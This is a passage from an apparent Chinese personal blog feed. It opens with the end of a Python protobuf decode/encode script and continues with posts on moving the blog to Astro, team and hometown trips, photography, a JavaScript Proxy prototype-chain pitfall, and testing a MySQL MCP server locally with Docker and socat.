KAh4IARACGAAgACgAMgA6AEIASABQAFgAYABoAHAAeAEyADoKCAEQy+qAyAYqAEIA'''

# base64解码
data = base64.b64decode(a)

def is_valid_utf8(data):
    """检查数据是否为有效的UTF-8字符串"""
    try:
        data.decode('utf-8')
        return True
    except:
        return False

def parse_message(data, depth=0):
    """
    完整解析 protobuf message，支持所有wire types
    返回 list of (field_number, value)，保留重复字段
    """
    pos = 0
    result = []
    while pos < len(data):
        try:
            key, pos = decoder._DecodeVarint(data, pos)
        except:
            break
            
        field_number = key >> 3
        wire_type = key & 0x7

        if wire_type == 0:  # varint
            value, pos = decoder._DecodeVarint(data, pos)
            result.append((field_number, value))
            
        elif wire_type == 1:  # 64-bit (fixed64, double)
            if pos + 8 > len(data):
                break
            value = struct.unpack('<Q', data[pos:pos+8])[0]
            result.append((field_number, value))
            pos += 8
            
        elif wire_type == 2:  # length-delimited (字符串/bytes/嵌套消息)
            length, pos = decoder._DecodeVarint(data, pos)
            if pos + length > len(data):
                break
            value = data[pos:pos+length]
            
            # 尝试解析为嵌套消息
            try:
                nested = parse_message(value, depth+1)
                if nested and len(nested) > 0:
                    # 如果成功解析出字段，认为是嵌套消息
                    result.append((field_number, nested))
                else:
                    # 否则作为bytes/string
                    result.append((field_number, value))
            except:
                # 解析失败，作为bytes/string
                result.append((field_number, value))
            pos += length
            
        elif wire_type == 5:  # 32-bit (fixed32, float)
            if pos + 4 > len(data):
                break
            value = struct.unpack('<I', data[pos:pos+4])[0]
            result.append((field_number, value))
            pos += 4
            
        else:
            # 不支持的wire type，跳过
            break
            
    return result

def format_bytes(b):
    """格式化bytes为带引号和转义的字符串"""
    result = []
    for byte in b:
        if 32 <= byte <= 126 and byte != ord('\\') and byte != ord('"'):
            # 可打印ASCII字符
            result.append(chr(byte))
        else:
            # 转义表示
            if byte < 8:
                result.append(f'\\{byte:03o}')
            else:
                result.append(f'\\{byte:03o}')
    return '"' + ''.join(result) + '"'

def format_value(value, indent=0):
    """格式化单个值"""
    if isinstance(value, list):
        # 嵌套消息
        lines = []
        lines.append(' ' * indent + '{')
        for field_num, field_val in value:
            field_lines = format_field(field_num, field_val, indent + 2)
            lines.extend(field_lines)
        lines.append(' ' * indent + '}')
        return lines
    elif isinstance(value, bytes):
        # bytes类型，判断是否为空字符串或二进制数据
        if len(value) == 0:
            return [' ' * indent + '""']
        # 检查是否全是可打印字符
        try:
            decoded = value.decode('utf-8')
            # 如果只包含数字字母和一些常见字符，直接显示
            if all(32 <= b <= 126 for b in value):
                return [' ' * indent + f'"{decoded}"']
        except:
            pass
        # 否则使用转义格式
        return [' ' * indent + format_bytes(value)]
    else:
        # 整数
        return [' ' * indent + str(value)]

def format_field(field_num, value, indent=0):
    """格式化字段"""
    lines = []
    if isinstance(value, list):
        # 嵌套消息
        lines.append(' ' * indent + f'{field_num} {{')
        for sub_field_num, sub_value in value:
            sub_lines = format_field(sub_field_num, sub_value, indent + 2)
            lines.extend(sub_lines)
        lines.append(' ' * indent + '}')
    elif isinstance(value, bytes):
        # bytes类型
        if len(value) == 0:
            lines.append(' ' * indent + f'{field_num}: ""')
        else:
            # 尝试解码
            try:
                decoded = value.decode('utf-8')
                if all(32 <= b <= 126 for b in value):
                    lines.append(' ' * indent + f'{field_num}: "{decoded}"')
                else:
                    lines.append(' ' * indent + f'{field_num}: {format_bytes(value)}')
            except:
                lines.append(' ' * indent + f'{field_num}: {format_bytes(value)}')
    else:
        # 整数
        lines.append(' ' * indent + f'{field_num}: {value}')
    return lines

def format_message(parsed_list):
    """格式化整个消息为res1.txt的格式"""
    lines = []
    for field_num, value in parsed_list:
        field_lines = format_field(field_num, value, 0)
        lines.extend(field_lines)
    return '\n'.join(lines)

def parse_escaped_string(s):
    """解析带转义的字符串，返回bytes"""
    if not s.startswith('"') or not s.endswith('"'):
        raise ValueError(f"字符串必须以引号包围: {s}")
    
    s = s[1:-1]  # 去掉首尾引号
    result = []
    i = 0
    while i < len(s):
        if s[i] == '\\' and i + 3 < len(s):
            # 八进制转义 \xxx
            try:
                octal = s[i+1:i+4]
                byte_val = int(octal, 8)
                result.append(byte_val)
                i += 4
            except:
                result.append(ord(s[i]))
                i += 1
        else:
            result.append(ord(s[i]))
            i += 1
    return bytes(result)

def parse_text_format(lines):
    """
    从文本格式解析回数据结构
    返回 list of (field_number, value)
    """
    result = []
    i = 0
    
    while i < len(lines):
        line = lines[i].rstrip()
        if not line or line.isspace():
            i += 1
            continue
        
        # 计算缩进
        indent = len(line) - len(line.lstrip())
        line = line.strip()
        
        if line == '}':
            # 消息结束
            break
        elif ':' in line and not line.endswith('{'):
            # 字段: 值
            field_str, value_str = line.split(':', 1)
            field_num = int(field_str.strip())
            value_str = value_str.strip()
            
            if value_str.startswith('"'):
                # 字符串/bytes值
                value = parse_escaped_string(value_str)
            else:
                # 整数值
                value = int(value_str)
            
            result.append((field_num, value))
            i += 1
        elif line.endswith('{'):
            # 嵌套消息开始
            field_str = line[:-1].strip()
            field_num = int(field_str)
            
            # 找到匹配的结束括号
            bracket_count = 1
            j = i + 1
            start_line = j
            while j < len(lines) and bracket_count > 0:
                sub_line = lines[j].strip()
                if sub_line.endswith('{'):
                    bracket_count += 1
                elif sub_line == '}':
                    bracket_count -= 1
                j += 1
            
            # 递归解析嵌套消息
            nested_lines = lines[start_line:j-1]
            nested_value = parse_text_format(nested_lines)
            result.append((field_num, nested_value))
            i = j
        else:
            i += 1
    
    return result

def encode_message(parsed_list):
    """
    将解析后的list编码回protobuf二进制
    """
    parts = []
    for field_number, value in parsed_list:
        if isinstance(value, int):  # varint
            key = (field_number << 3) | 0
            parts.append(encoder._VarintBytes(key))
            parts.append(encoder._VarintBytes(value))
        elif isinstance(value, list):  # 嵌套消息
            key = (field_number << 3) | 2
            nested_bytes = encode_message(value)
            parts.append(encoder._VarintBytes(key))
            parts.append(encoder._VarintBytes(len(nested_bytes)))
            parts.append(nested_bytes)
        elif isinstance(value, bytes):
            key = (field_number << 3) | 2
            parts.append(encoder._VarintBytes(key))
            parts.append(encoder._VarintBytes(len(value)))
            parts.append(value)
        else:
            raise TypeError(f"不支持的类型: {type(value)}")
    return b''.join(parts)

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) > 1 and sys.argv[1] == 'encode':
        # 反向模式：从文本文件编码回base64
        input_file = sys.argv[2] if len(sys.argv) > 2 else 'output.txt'
        
        print(f"正在从 {input_file} 读取并编码...")
        with open(input_file, 'r', encoding='utf-8') as f:
            lines = f.readlines()
        
        # 解析文本格式
        parsed = parse_text_format(lines)
        
        # 编码回二进制
        encoded_data = encode_message(parsed)
        
        # base64编码
        b64_result = base64.b64encode(encoded_data).decode('ascii')
        
        print("\n编码结果（base64）:")
        print(b64_result)
        print(f"\n原始长度: {len(data)} bytes")
        print(f"编码长度: {len(encoded_data)} bytes")
        print(f"是否匹配: {encoded_data == data}")
        
        # 保存到文件
        with open('encoded_result.txt', 'w') as f:
            f.write(b64_result)
        print(f"\n已保存到 encoded_result.txt")
        
    else:
        # 正常模式：解析base64并输出文本
        print("正在解析protobuf数据...")
        msg = parse_message(data)
        
        # 格式化输出
        formatted = format_message(msg)
        print(formatted)
        
        # 保存到文件
        with open('output1.txt', 'w', encoding='utf-8') as f:
            f.write(formatted + '\n')
        print("\n已保存到 output.txt")
        
        # 验证：编码回去看是否一致
        print("\n验证：重新编码...")
        re_encoded = encode_message(msg)
        print(f"原始数据: {len(data)} bytes")
        print(f"重新编码: {len(re_encoded)} bytes")
        print(f"数据一致: {re_encoded == data}")
        
        if re_encoded == data:
            print("✅ 编码解码完全可逆！")
        else:
            print("❌ 数据不一致")
            # 找出差异
            for i, (a, b) in enumerate(zip(data, re_encoded)):
                if a != b:
                    print(f"第一个差异在位置 {i}: 原始={a:02x}, 重编码={b:02x}")
                    break

周报41 博客装修、汕头团建

Mon, 03 Nov 2025 00:00:00 GMT

这里记录的是raye在2025.10.26~2025.11.2的生活与思考

博客装修

已经从xlog迁移至self-host了，于是把剩余的功能完善一下，前半部分工作已经在 astro配置笔记 完成了，下半部分的工作包括友链、评论、照片墙，均已完成

目前最后剩余的工作：

修复下评论的黑暗和亮色模式切换bug
文章的修改时间精确到秒，并且自动按照修改时间排序
文章标题自动添加1 1.1 序号，方便阅读

友链

思考了下觉得还是需要一个友链，刚好了解下astro的开发，我现在使用的这个主题fuwari还不支持直接配置友链，但是发现作者有写这个功能，却不知道为啥最新版没有，参考作者的commit

照搬过来，没啥大问题：

(目前黑暗模式的适配有点问题，等我fix下)

评论功能

最开始想集成的是randy的 cusdis 但是发现功能较为单一，而且连他自己的博客也没有用这个评论系统 🤣，最后还是跟 @niracler 一样使用了 remark42

我的部署选择先使用 koyeb的 servless平台，整体部署过程很流畅，但我发现一个隐患，即数据卷volume并不支持导出，所以我的评论数据实际上都存储在koyeb上，为什么 remark42不提供一个网页来导出数据呢？

另外一个问题则是，我发现此类self-hosted的评论系统都存在问题，即未限制嵌入的网页，所以理论上我可以直接把别人部署好的服务嵌入到我自己的博客中，这样虽然自己不是管理员，但用户评论什么的都是正常的

部署过程中还遇到了一个问题，即评论是要区分不同页面的，最简单的当然就是附带上这个页面的url，这是配置过程中容易忽视的

开发过程均为vibe coding，我只是简单的看了眼代码逻辑，测试功能无误就commit了

照片墙

访问我的照片墙：链接

自从坚持摄影以来，一直想要有一个属于自己的照片墙服务，尽管我已经是视觉中国的签约摄影师，我的个人主页

但如果你想要查看，你得先登录才行（这也是国产互联网的通病了，干啥都要登录）

视觉中国上传照片投稿是比较麻烦的，因为照片像素要足够，且你只能一张张上传，还需要标记拍摄地点，如果要很多张图片要上传，简直是灾难。不过网页版还是支持一次性上传多张，但不过还是要重复这个取名字、打标签、地点的过程。

但是我并不想那么麻烦，我只想要有一个能随时把自己的照片展示出来的网站，不管是相机拍的还是手机拍的，兜兜转转，最终部署了exif-photo-blog

部署平台是 vercel +supabase + cloudflare ，整个过程下来也挺简单的

呈现效果：

也参考了大佬们的部署，我不想把拍照的具体地理位置暴露出来，这毕竟是属于隐私信息，因此没有选择

https://photo.imzm.org/
https://camlife.app/zh
https://photography.pseudoyu.com/

汕头团建

我其实一直认为周末和同事一起出去团建，就是变相地加班。

历史传统，每年我们小组（10个人左右）都要在下半年的10~11月之间外出团建一次，之前去了两次惠州，其中一次记录在周报21 惠州、新域名与阅读分享，还有一次是去了南昆山，但体验感一般般。

每次团建我们都选择自驾出行，以往去惠州两个小时左右的车程还可以接受，但这次去汕头，总计4~5小时的车程，中间虽然会在服务区吃饭休息，但终究还是太累了（我都没开车还是很累）

汕头之行安排的非常紧凑，周五晚上抵达汕头，周六白天上午在市区city walk，下午开车去南澳岛+南澳岛电驴飙车+晚上桌游，周日上午返程，可以说是非常特种兵了

对于旅游的出行，我现在发现，如果你想玩的尽兴，尽量一天之内不要换景点，除非你能接受特种兵的行程

周六日出

周六凌晨1点睡，5点我就自然醒了，打车去汕头东海岸期待一场日出

太阳的升起的精确时间是在6点18分，我5点30左右就到了，从阶梯下到海边，此时的天色，还处于凌晨时刻的黑暗中，沿着东海岸的海岸线慢慢溜达，我确认了太阳升起的方位，四下无人，只有我一人静静听着潮起潮落，海浪涌上防波堤的声音

一边沿着海岸线前行，零零散散又看到几个人，男男女女，盲猜他们是通宵后来到海岸边看日出。继续往前走，海天相接的地方，开始慢慢出现一抹粉红色

但是太阳却迟迟不见踪影，明明已经过了约定的时间，等待的，却又迟迟不出现，开始感到一点失望，于是一边往回走，但又怕错过，于是我聪明地倒退着往回走

又过了几分钟，太阳终于出现了，于是我拍下了这一幕：

小红书的网友送了我一句评价：日落映海，风车列岸，静谧画面，氛围感拉满，这也太会说了吧

惊喜的我还发现，oppo findx8u，竟然能对裁切的画面做AI超清像素的提升，这让原本是135mm拍摄的照片，裁切+像素提升后，直接获得了接近300mm焦距拍摄的效果

小公园 city walk

主要是一些街拍照，但远没有小红书上拍的好，感觉被骗了，只适合随便走走逛逛，很是无聊

周六南澳岛

下午3点左右来到南澳岛

周日南澳岛日出

一些杂念

记录在我的tg频道，也摘录到博客里

周报40 浏阳,烟花与日落

Thu, 30 Oct 2025 00:00:00 GMT

这里记录的是raye在2025.10.19~2025.10.26的生活与思考

浏阳之行

缘起

我是个不太地道的浏阳人，自小便在浏阳长大，被冠以“小镇做题家”的名号，大学来到了武汉，工作在深圳，4年又4年，对家乡的记忆渐渐如果窗玻璃上的雾气，逐渐模糊。

但其实这两年，浏阳的烟花早就在小红书上出名了，这是我未曾想到的。烟花一直是浏阳的特色了，但印象中最深刻的一次烟花燃放，当属高考出分回学校填完志愿后，学校特地为毕业生举办的烟花晚会。

虽然那个时候不懂摄影，也用手机录下了天空的璀璨，只是已经再也找不到了，学校似乎自从那次燃放之后，每年为毕业生举办的烟花晚会也就取消了，现在每次想跟朋友描述，却苦于词穷，实在是有些遗憾。

当然对比浏阳一年一次的烟花秀，这算是小巫见大巫了，虽然每次也会在视频号上关注，但从没想过自己亲自回老家去看一下。

对于这次行程的规划，起因是川哥突然提到组织一次，于是本J人就开始规划了，结果实际要出行之前，川哥又带头咕咕了，最后只剩了我们三个人，既然都决定了那就出发吧。

出行+美食

小时候可能没想过浏阳为什么会叫浏阳，不过这个其实很好推，古代以“山南水北为阳”，浏阳，自然顾名思义就是在“浏水”的北面，我突然醒悟到果真如此，浏阳河流经市区南面，市中心以及CBD等都在浏阳河的北面，刚好印证了“浏阳”之名。

提到浏阳，还有一句诗不得不说，那就是张若虚的《春江花月夜》，“白云一片去悠悠，青枫浦上不胜愁”，所谓“青枫浦”，即浏阳八景之一”枫浦渔樵“，来源

当然浏阳还有很多的知名人物，如花炮始祖——李畋，维新派著名人物，“我自横刀向天笑”的谭嗣同，著名的剧作家，演员欧阳予倩（和梅兰芳齐名，号称南欧北梅）

尽管如此人杰地灵，并且是全国的百强县，浏阳至今没有通高铁，于是想去浏阳，就只能通过长沙来中转。

本浏阳人自然是轻车熟路，下高铁前就已经预约好了顺风专车，一个小时多一点就到了浏阳，因为是周五请了一天假，下午1点到长沙，此时去浏阳的高速还是没堵车的，花炮节的时间是在周五晚和周六晚两天，尽管没有堵车，但司机的单也已经爆满。

如果想来浏阳玩的朋友，可以选择到长沙后租车，也可以选择“玖玖专车”服务，或者选择长沙西站的黎托客运服务，专车人均在50~60，客运服务则只要30一张票

惭愧的说，浏阳的美食我是了解的比较少的，毕竟在老家也不太经常会有出去吃饭的机会，唯一能说道说道的就是浏阳的蒸菜了，最有名的网红蒸菜馆“兄弟蒸菜馆”不太推荐，人太多了，我们则是在周六白天现在浏阳河沿岸散步，接着路边拐角刚好出现了一家“何阳蒸菜馆”，吃下来味道也挺不错的。

最有名的可能就是蒸菜了，除此之外浏阳的夜市也是不错的，我最馋的就是浏阳的炒粉了，浏阳的炒粉就是宽粉，但在广东这边，则是叫河粉，搞得我刚来广东的时候有些不习惯。

看烟花的锦程大道上，排满了三轮车，炒粉、炒粉、烧烤各式各样，跟一位大哥闲聊，他略不经意的说出一晚上就挣了两三千元，恐怕此时心里也是满满的开心吧。

烟花

周五晚上是开幕式，烟花的表演不算很多，但尽管如此，还是欣赏到了漫天的烟火，七彩祥云、生命树，还有我都叫不出名字的无人机烟火表演。

我已经想不出形容词了，此时脑海中只想到辛弃疾的那句”东风夜放花千树，更吹落，星如雨“，此时恐怕也只有这句词，能描绘出此刻的盛景吧

无人机烟火表演是通过操控无人机，排列阵型后统一点火。远远看过去，没有任何征兆的，一棵大树就在你面前出现，接着就是如同火烧云一般的景色，第一个想出这种玩法的怕不是个天才吧

以下图片均被pyq压缩过了

日落

周日在返程的高铁上，看到摄影群的群友们在规划下午去拍深中通道悬日，于是我也打开巧摄，开始计算拍摄地点，位置很不错，唯一的变数就是天气了，但想着都回来了，难得有这样的一次机会，于是高铁到家之后，立刻带上z8+100400，赶往拍摄地点。

到达时间接近4点，距离日落的时间还有接近1个半多小时，但是已经有好多人都架好了三脚架

印象最深的是这位大哥的900mm，全场最靓的崽

本以为看云层都要放弃了，太阳被远方的底层云给盖住了，估计又是翻车，但谁能想到，太阳钻入云层后，又从一个缝隙中钻了出来，厚厚的云层打开了一扇门，太阳给了我们一次机会，随着时间逐渐逼近，人群开始欢呼起来！太阳刚好悬在了深中通道的绳拉索上，就好像在荡秋千一样

更开心的是，海面的那艘船也很给力，于是就有了这张照片：

就在我觉得结束要收工之时，谁又能想到云层开始泛红，火烧云出现了

相机就是我与这个世界链接的一种方式

Thu, 30 Oct 2025 00:00:00 GMT

使用vercel +cloudflare 搭建了自己的照片展示网站，欢迎访问：https://photo.rayepeng.net/

收藏了一句我很喜欢的话：

我举起相机, 相机就是我与这个世界链接的一种方式

还有另外一句

我们不是用相机在拍照，我们带到摄影中的去的是你曾经读过的书，看过的电影，听过的音乐，走过的路，爱过的人 —— 安塞尔 · 亚当斯

我与相机的缘起

购买相机起源于去年的一次冲动消费，因为要去惠州玩，详情记录在周报30 ENFJ人格、双月湾拾遗与阅读笔记，为了能够赶上周末的拍照，于是周一就在哥哥的推荐下购买了sony a7c2 + 腾龙 28200的镜头组合，走上了自学摄影的道路。

现在回想起来，当时对于曝光三要素还处于懵懂无知的状态，光圈、快门、ISO，A、S、M档，一堆名词向我涌来，尽管未能一时全部理解，但随着按下快门次数的增加，对这些概念也开始逐渐烂熟于心。

这里也给还在犹豫摄影的朋友一个建议，如果有条件可以买一台相机，半画幅的尼康相机已经很便宜了，搭配上一枚变焦镜头，非常出片。

不过我的相机也曾有一段吃灰的时间，主要是不知道拍什么，相机买来并不能司空见惯的景色焕发出新的生机（不过如果你买的是哈苏那当我没说，哈苏无论拍什么都好看），对于喜欢风光摄影的朋友来说，每天的日出日落，蓝调时刻是非常出片的时间段，通过app——“莉景天气”，就可以知道当天的日出日落与蓝调时分，此时搜索小红书上的常见打卡机位，准时到达，按下快门，就能收获一张非常不错的照片。

所以这就涉及到一个很关键的命题，即你有了相机你想拍什么？如果是拍风光，那么同价位肯定会建议入尼康，如果是只给女朋友拍照，那就是佳能，如果两者都想要，那就索尼。当然如果你不想后期的话，那就富士，接受多出来的溢价吧，因为这就是懒得代价 :)

但你想拍什么，和你能拍什么，这又是两回事了，比如我想拍风景，但我真的有这个能力去拍风景吗？这涉及到主观上我想不想出去，以及客观上，到底有没有好的风景可以拍🤣

在大城市，最常见的就是城市天际线，海边，高层建筑物，若是在小城市，如果拍风景，那你可能大概率需要一辆车，可以去到光污染比较低的地方拍星空（我真的好想拍一次星空啊啊🤩

关于模仿

可能会有朋友质疑，我也曾看过一些吐槽，这种准时的，规划好的打卡路线，缺乏新意，了无生机，按图索骥，邯郸学步，总之各种你能想到的贬义词都可以给你招呼上。但我不这么看，理由如下：

第一，模仿本就是一种学习的过程，如果连模仿都嗤之以鼻，那可就是真的眼高手低，鼠目寸光了，不是谁都有高屋建瓴，高瞻远瞩的目光，哪怕对于一个简单的日出日落，想要拍摄好也有它的技巧

拍照的过程，绝不是所说只要到达那个地方按下快门就好了，对于时间、天气、机位、云层、参数的计算，都是风光摄影的一部分，有时候甚至连交通的规划都是不可或缺的，毕竟风光摄影是靠天吃饭，天是最不可控的，除天之外的因素都要尽可能地控制好，这样才能达到出片的效果

第二，只有不断地模仿，才能达到烂熟于心，从而举一反三，如上所述，可能第一次去拍日出，没有考虑好参数，照片过曝或欠曝，第二次去拍日出，好的机位已经被占了，第三次去拍照，云层很厚不给力，模仿真的那么简单吗，完全不是，如果是真的高手，那当我没说，但对于像我这样绝大多数的普通人，不断地模仿和踩坑，才是快速提升自我的过程。

关于器材

对于器材祛魅最好的方式就是拥有它

这句话说的真的没错，摄影爱好者往往会特别喜欢琢磨器材，好像70200gm拍出来的片子就一定比28200要好，虽然道理是这个道理，但多数时候我们就算知道了这些道理，也还是会按捺不住想要拥有的内心。器材贵不是它的缺点，是我的缺点^_^

补一句，器材的大跳水也是存在的，有些明显虚高的价格就死了心吧，比如富士、理光。还有我之前很想买的50150，两个月前它还卖3w，现在二手价格已经是1w6左右了

为什么我会权想要入坑摄影的朋友先买一台相机呢？我知道手机拍的已经很好了，其实我现在也经常用我手头的oppo findx8 ultra拍照，但光圈、快门、iso这三个参数，光靠手机其实很难让你掌握，相机更多的是一个契机，因为你必须要懂这三要素，你才能拍照，这就起到了一个逼迫学习的效果，等你在相机上毫不费力的调节参数时，你才能真正用好手机里的专业模式，而不再是依赖算法。

关于后期

肯定要学的，这不是打魂游，没有逃课的办法

关键在于后期的程度，其实有些后期很简单的，比如简单的调整下曝光、白平衡、高光，阴影，白色黑色色阶，这就是最简单的光影调整了

再往后一层，就涉及到了颜色的调整，比如归色、染色的技巧，当然这部分我也没有很好的掌握，只能看着感觉调🤣

JS代理与原型链的陷阱

Wed, 29 Oct 2025 00:00:00 GMT

var o1,o2,o3,o4

o1 = { coin: 11 };

let handler = {
  get(target, prop, receiver) {
    console.log(`Getting ${prop}!`);
    return Reflect.get(target, prop, receiver);
  },
  set(target, prop, value, receiver) {
    console.info(target === o1, receiver === o4)
    console.log(`Setting ${prop} to ${value}!`);
    return target[prop]=value;
  }
}

o2 = new Proxy(o1,  handler);
o3 = Object.create(o2);
o4 = Object.create(o3);

o4.coin = 44;

console.info(o1.coin, o2.coin, o3.coin, o4.coin);

看上去只是一个很简单的 o4.coin = 44 ，但是却会涉及到原型链的修改

原型链是这样：

o4 --> o3 --> o2(Proxy) --> o1

handler中的代码：

set(target, prop, value, receiver) {
  console.info(target === o1, receiver === o4)
  console.log(`Setting ${prop} to ${value}!`);
  return target[prop] = value;
}

这里的target是指向o1， receiver则是指向o4

o1.coin = 44 ✅，因为 set handler 实际上修改的是 o1；
o2.coin = 44 ✅，Proxy 读取的是 o1；
o3.coin = 44 ✅，通过原型链 o3 → o2(Proxy) → o1；
o4.coin = 44 ❌，因为 o4 自身并没有 coin 属性，仍然会沿原型链读取最终到 o1，值是 44。

最终打印结果为：

true true
Setting coin to 44!
Getting coin!
Getting coin!
Getting coin!
44 44 44 44

target vs receiver?

target 是你传给 Proxy 构造函数的原始对象（例如 o1）；
receiver 是实际访问/调用的对象（比如赋值时是 o4）；
receiver 是希望在哪个对象上定义属性的“调用者”，特别关键在继承场景中。

因此在 handler中，应该使用Reflect来做，而不是手动赋值

set(target, prop, value, receiver) {
  return Reflect.set(target, prop, value, receiver);
}

测试getter和setter

var o1, o2, o3, o4;

o1 = { coin: 11 };

// 在 o2 上定义 getter 和 setter，模拟 Proxy 的行为
o2 = Object.create(o1);

Object.defineProperty(o2, 'coin', {
  get() {
    console.log(`Getting coin!`);
    return o1.coin;
  },
  set(value) {
    console.info(o1 === o1, true); // 模拟 Proxy 中 target === o1, receiver === o4
    console.log(`Setting coin to ${value}!`);
    o1.coin = value;
  },
  configurable: true,
  enumerable: true,
});

o3 = Object.create(o2);
o4 = Object.create(o3);

// 测试写入
o4.coin = 44;

// 输出每个对象的 coin 值
console.info(o1.coin, o2.coin, o3.coin, o4.coin);

如上，会遇到同样的问题，此时输出是：

true true
Setting coin to 44!
Getting coin!
Getting coin!
Getting coin!
44 44 44 44

astro配置笔记

Wed, 29 Oct 2025 00:00:00 GMT

由于xlog已经年久失修，于是在 @niracler 的推荐下，将博客迁移到了 astro，最终还是回归到了静态网页，期间增加了一些自定义的功能，如保持和xlog rss订阅链接的兼容，自定义文章url等，代码都是在cursor上使用claude写的

url trailingSlash配置 + 适配xlog rss

参考了官方文档修改配置文件： astro.config.mjs，将 trailingSlash 选项修改为 ignore


	site: "https://raye.ink/",
	base: "/",
	trailingSlash: "ignore",

然后复制原有的 rss.xml.ts 为 feed.ts

这样就可以实现自定义rss的源变成了 https://raye.ink/feed

而不再是强制匹配 https://raye.ink/feed/，这样folo上订阅我的用户们就不用再操作一遍了

代码commit 链接

文章url 自定义

主要是默认的文章url 是带上文章标题的，这样复制分享给别人都很不方便，于是还是想自定义文章url

直接看修改记录吧

要改的地方有几个：

首页文章链接
文章下一篇链接
rss生成链接

同时要修改scripts/new-post.js 这个文件，这样 pnpm new-post xxx 新建文章的时候，也就自动在 frontmatter 上增加了配置项

ps 目前文章url都是在posts下，和原有的文章url没法兼容，等我找到办法再修改吧

const content = `---
title: ${args[0]}
published: ${getDate()}
description: ''
customSlug: ''
image: ''
tags: []
category: ''
draft: false 
lang: ''
---
`

首页文章图片显示位置

因为我的文章首页图都是有文字的，而默认的是居中显示缩略图导致文字被遮盖挺难受的

修改 src/components/PostCard.astro

<ImageWrapper src={image} basePath={path.join("content/posts/", getDir(entry.id))} alt="Cover Image of the Post"
		  position="left center" 
		  class="w-full h-full">
</ImageWrapper>

添加 position 属性， left center 即可

定义rss的返回content-type

因为我修改了 /feed 为我的rss订阅，但是部署到静态网页上会变成文件下载，比较奇怪

代码修改

	return new Response(rssResponse.body, {
		status: 200,
		headers: {
			"Content-Type": "application/xml; charset=utf-8",
		},
	});

本地测试确实通过 pnpm dev 是可以的，但是部署到静态网页上就有点问题了

经验证，本地静态网页生成之后也是不行的，不过目前的folo上订阅rss好像也没啥问题，那就先这样吧🤣

配置github action发布

目前还是用的github pages，但 @niracler 说cloudfare pages体验更好，等后面再折腾吧

github发布就非常简单，参考官方文档只要在 .github/workflows 目录新建 deploy.yml 即可，这样再也不需要像 hexo 一样，本地build再deploy了，非常方便，也不会出现我在机器A写的文章，因为忘记push，而导致机器B无法继续写的尴尬了😅

mysql mcp使用与抓包测试

Wed, 29 Oct 2025 00:00:00 GMT

环境配置

使用docker开启mysql非常方便

首先开启一个mysql server

docker run -itd --name mysql_server -p3306:3306 --rm   -e MYSQL_ROOT_PASSWORD=123456 mysql

然后开启mysql client再通过 --link 连接到mysql server

docker run -it --rm  --name mysql_client  --link mysql_server:mysql_server mysql mysql -hmysql_server -uroot -p

--link mysql_server:mysql_server 这会把名为 mysql_server 的容器的 IP 地址映射到 mysql_server 这个主机名，第二个容器（mysql_client）可以通过该主机名访问第一个容器的 MySQL 服务。

mcp工具选择：https://github.com/wenb1n-dev/mysql_mcp_server_pro

启动：

# clone仓库
git clone https://github.com/wenb1n-dev/mysql_mcp_server_pro

#同步依赖
uv sync 

# 指定.env启动，神奇的是这里必须绝对路径
uv run -m mysql_mcp_server_pro.server --envfile /Users/rayepeng/Documents/code/ida-mcp-reverse/WeChatMiniGame_WebInstaller/.env

.env 文件内容

# MySQL Database Configuration
MYSQL_HOST=127.0.0.1
MYSQL_PORT=3306
MYSQL_USER=root
MYSQL_PASSWORD=123456
MYSQL_DATABASE=information_schema
# Optional, default is 'readonly'. Available values: readonly, writer, admin
MYSQL_ROLE=admin

神奇的错误

不然会遇到这个神奇的错误：

ps .env 文件放在源码目录下也是不行的？好神奇

❯ uv run -m mysql_mcp_server_pro.server --envfile /Users/rayepeng/Documents/code/mysql_mcp_server_pro/.env
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "/Users/rayepeng/Documents/code/mysql_mcp_server_pro/src/mysql_mcp_server_pro/server.py", line 28, in <module>
    from .oauth import OAuthMiddleware, login, login_page
  File "/Users/rayepeng/Documents/code/mysql_mcp_server_pro/src/mysql_mcp_server_pro/oauth/__init__.py", line 1, in <module>
    from .config import oauth_config
  File "/Users/rayepeng/Documents/code/mysql_mcp_server_pro/src/mysql_mcp_server_pro/oauth/config.py", line 28, in <module>
    oauth_config = OAuthConfig() 
                   ^^^^^^^^^^^^^
  File "/Users/rayepeng/Documents/code/mysql_mcp_server_pro/.venv/lib/python3.11/site-packages/pydantic_settings/main.py", line 193, in __init__
    super().__init__(
  File "/Users/rayepeng/Documents/code/mysql_mcp_server_pro/.venv/lib/python3.11/site-packages/pydantic/main.py", line 250, in __init__
    validated_self = self.__pydantic_validator__.validate_python(data, self_instance=self)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
pydantic_core._pydantic_core.ValidationError: 6 validation errors for OAuthConfig
MYSQL_HOST
  Extra inputs are not permitted [type=extra_forbidden, input_value='127.0.0.1', input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_PORT
  Extra inputs are not permitted [type=extra_forbidden, input_value='3306', input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_USER
  Extra inputs are not permitted [type=extra_forbidden, input_value='root', input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_PASSWORD
  Extra inputs are not permitted [type=extra_forbidden, input_value='123456', input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_DATABASE
  Extra inputs are not permitted [type=extra_forbidden, input_value='information_schema', input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden
MYSQL_ROLE
  Extra inputs are not permitted [type=extra_forbidden, input_value='admin', input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/extra_forbidden

使用体验

非常方便，这样对于开发后端的web应用来说会更加方便了

抓包测试

好奇这里是怎么实现的数据通信，抓包测试下

最简单的抓包就是转发本地端口

socat -v -x TCP-LISTEN:8081,fork TCP:localhost:3000

这是把本地的8081端口转发到3000，记得修改下mcp.json里的配置(因为这个mcp用的是HTTP streamable通信)

"mysql_mcp_server_pro": {
  "name": "mysql_mcp_server_pro",
  "type": "streamableHttp",
  "description": "",
  "isActive": true,
  "url": "http://localhost:8081/mcp/"
},

改端口就行了，路径会自动带上，非常有意思

ping数据包

执行mysql命令 use demo_db

执行 execute_sql

参考

这里的抓包比较直观，可以用用里面的工具从抓包看 MCP：AI 工具调用背后的通信机制

想法

既然这样，那完全就可以打造多个agent之间的联合，输入一个任务，背后自动调用各种mcp工具解决问题

